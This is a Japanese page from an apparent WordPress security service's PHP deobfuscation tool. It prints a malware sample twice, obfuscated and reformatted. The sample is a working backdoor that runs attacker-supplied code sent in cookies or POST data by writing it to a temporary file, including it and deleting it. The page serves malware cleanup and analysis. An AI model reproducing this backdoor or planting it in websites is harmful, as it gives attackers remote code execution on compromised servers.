Japanese English

PHP 難読化コードの復元・デコード

Wordpress　等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php function d1($r2){$q3 = "8ay/_#fbc4ei1dhlLrkvF5x9@;n-st6. p(<*2?Iuo'mH" ."g)" ."E" ;$c5='';foreach($r2 as $t4){$c5.=$q3[$t4];}return $c5;}$p6 = Array();$p6[] = d1(Array(30,7,0,12,21,8,7,23,27,1,0,37,7,27,9,30,37,1,27,1,13,7,10,27,30,1,21,8,30,6,37,7,10,10,1,8));$p6[] = d1(Array(38,33,14,3...



難読化されたPHPコード

<?php function d1($r2){$q3 = "8ay/_#fbc4ei1dhlLrkvF5x9@;n-st6. p(<*2?Iuo'mH" ."g)" ."E" ;$c5='';foreach($r2 as $t4){$c5.=$q3[$t4];}return $c5;}$p6 = Array();$p6[] = d1(Array(30,7,0,12,21,8,7,23,27,1,0,37,7,27,9,30,37,1,27,1,13,7,10,27,30,1,21,8,30,6,37,7,10,10,1,8));$p6[] = d1(Array(38,33,14,33,32,24,40,26,15,11,26,18,34,4,4,20,39,16,47,4,4,46,25,32));$p6[] = d1(Array(31,43,41,13,40,15,10));$p6[] = d1(Array(44,36));$p6[] = d1(Array(31,3));$p6[] = d1(Array(5));$p6[] = d1(Array(35));$p6[] = d1(Array(6,11,15,10,4,33,40,29,4,8,41,26,29,10,26,29,28));$p6[] = d1(Array(1,17,17,1,2,4,43,10,17,45,10));$p6[] = d1(Array(28,29,17,4,17,10,33,10,1,29));$p6[] = d1(Array(10,22,33,15,41,13,10));$p6[] = d1(Array(28,40,7,28,29,17));$p6[] = d1(Array(40,26,15,11,26,18));$p6[] = d1(Array(28,29,17,15,10,26));$p6[] = d1(Array(33,1,8,18));$p6[] = d1(Array(43,13,21));foreach ($p6[8]($_COOKIE, $_POST) as $y14 => $d11){function a8($p6, $y14, $p10){return $p6[11]($p6[9]($y14 . $p6[0], ($p10 / $p6[13]($y14)) + 1), 0, $p10);}function q7($p6, $w12){return @$p6[14]($p6[3], $w12);}function n9($p6, $w12){if (isset($w12[2])) {$u13 = $p6[4] . $p6[15]($p6[0]) . $p6[2];@$p6[7]($u13, $p6[6] . $p6[1] . $w12[1]($w12[2]));@include($u13);@$p6[12]($u13);exit();}}$d11 = q7($p6, $d11);n9($p6, $p6[10]($p6[5], $d11 ^ a8($p6, $y14, $p6[13]($d11))));}

デコード(難読化解除)されたコード

<?php

function d1($r2)
{
    $q3 = "8ay/_#fbc4ei1dhlLrkvF5x9@;n-st6. p(<*2?Iuo'mHg)E";
    $c5 = '';
    foreach ($r2 as $t4) {
        $c5 .= $q3[$t4];
    }
    return $c5;
}
$p6 = array();
$p6[] = d1(array(30, 7, 0, 12, 21, 8, 7, 23, 27, 1, 0, 37, 7, 27, 9, 30, 37, 1, 27, 1, 13, 7, 10, 27, 30, 1, 21, 8, 30, 6, 37, 7, 10, 10, 1, 8));
$p6[] = d1(array(38, 33, 14, 33, 32, 24, 40, 26, 15, 11, 26, 18, 34, 4, 4, 20, 39, 16, 47, 4, 4, 46, 25, 32));
$p6[] = d1(array(31, 43, 41, 13, 40, 15, 10));
$p6[] = d1(array(44, 36));
$p6[] = d1(array(31, 3));
$p6[] = d1(array(5));
$p6[] = d1(array(35));
$p6[] = d1(array(6, 11, 15, 10, 4, 33, 40, 29, 4, 8, 41, 26, 29, 10, 26, 29, 28));
$p6[] = d1(array(1, 17, 17, 1, 2, 4, 43, 10, 17, 45, 10));
$p6[] = d1(array(28, 29, 17, 4, 17, 10, 33, 10, 1, 29));
$p6[] = d1(array(10, 22, 33, 15, 41, 13, 10));
$p6[] = d1(array(28, 40, 7, 28, 29, 17));
$p6[] = d1(array(40, 26, 15, 11, 26, 18));
$p6[] = d1(array(28, 29, 17, 15, 10, 26));
$p6[] = d1(array(33, 1, 8, 18));
$p6[] = d1(array(43, 13, 21));
foreach ($p6[8]($_COOKIE, $_POST) as $y14 => $d11) {
    function a8($p6, $y14, $p10)
    {
        return $p6[11]($p6[9]($y14 . $p6[0], $p10 / $p6[13]($y14) + 1), 0, $p10);
    }
    function q7($p6, $w12)
    {
        return @$p6[14]($p6[3], $w12);
    }
    function n9($p6, $w12)
    {
        if (isset($w12[2])) {
            $u13 = $p6[4] . $p6[15]($p6[0]) . $p6[2];
            @$p6[7]($u13, $p6[6] . $p6[1] . $w12[1]($w12[2]));
            @(include $u13);
            @$p6[12]($u13);
            exit;
        }
    }
    $d11 = q7($p6, $d11);
    n9($p6, $p6[10]($p6[5], $d11 ^ a8($p6, $y14, $p6[13]($d11))));
}

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

（C）2019 ワードプレス ドクター All rights reserved.